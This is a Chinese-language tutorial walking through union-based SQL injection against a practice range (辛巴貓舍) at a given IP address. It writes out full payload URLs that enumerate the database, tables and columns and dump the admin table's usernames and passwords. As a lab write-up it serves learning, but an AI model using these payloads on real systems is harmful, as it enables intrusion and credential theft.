SQL注入靶場:辛巴貓舍


查:有多少行

進去是這樣的:直接點擊
在這里插入圖片描述
可以看到:我們的url發生了變化,
在這里插入圖片描述
id是啥,我們猜測,id是數據庫的前面的序號,像這樣.
我們輸入不同的id,可以得到不同的數據庫,那么頁面也就不同.
在這里插入圖片描述

測試:id=3,有網頁,我們接着測試id=4 id=5 id=6 發現都沒有內容
在這里插入圖片描述

說明id=3 的時候,數據表內容已經"見底"了
在這里插入圖片描述
於是我們就知道了這個數據表有四行,包括id=0的初始頁面
在這里插入圖片描述

查:有多少列

使用order by 語句.
我從 1~3查,發現3沒有,2有.
那么就證明這個數據表就兩個字段

讀者可以自行去谷歌應用商店下載hackbar或者類似插件

http://59.63.200.79:8003/?id=1 order by 2

在這里插入圖片描述

所以,這個數據表,4行2列.

判斷回顯點

回顯點就是數據表中的哪個內容可以在網頁中顯示.
通常用聯合查詢. 我們知道,這有兩個字段.
所以:

http://59.63.200.79:8003/?id=1 union select 1,2

嗯?沒反應,還是顯示那個內容
在這里插入圖片描述
我們通過MySQL演示,發現我們注入的select 1,2都在數據表的最底部
在這里插入圖片描述

想讓它顯示出來,兩種辦法

  • 添加錯誤條件在前面,讓它不顯示
    在這里插入圖片描述
  • 顯示限制條件
    在這里插入圖片描述
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
http://59.63.200.79:8003/?id=1 union select 1,2 limit 1,1
# 任意一種

於是,有一個2就顯露出來了,這個2就是回顯點!
在這里插入圖片描述

查:數據庫名稱

更換url,使用database(),顯示出數據庫名稱

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()

數據庫的名稱是maoshe
在這里插入圖片描述

查:數據表名稱

這段代碼的意思是,在information_schema.tables這個數據表中,從table_name 這一列中,查找在table_schema這一列中數據庫等於當前數據庫名稱的各個數據表名.

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

好,數據表名是admin

在這里插入圖片描述

查:字段名稱

group_concat()這個函數可以顯示出所有有關的內容,否則就默認顯示出第一行的.
列名肯定不止一個,所以我們要一起顯示出來.
其實上面也可以用 group_concat(),自行體會一下

http://59.63.200.79:8003/?id=1  union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'  limit 1,100

在這里插入圖片描述

查:單元格內容

最愛的 username 和password來了.
看一看他們都有些啥

http://59.63.200.79:8003/?id=1  and 1=2 union select 1,group_concat(username) from admin 

在這里插入圖片描述

http://59.63.200.79:8003/?id=1  and 1=2 union select 1,group_concat(password) from admin 

在這里插入圖片描述
至此,SQL注入演示完畢.

其實sqlmap更快,但沒必要


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM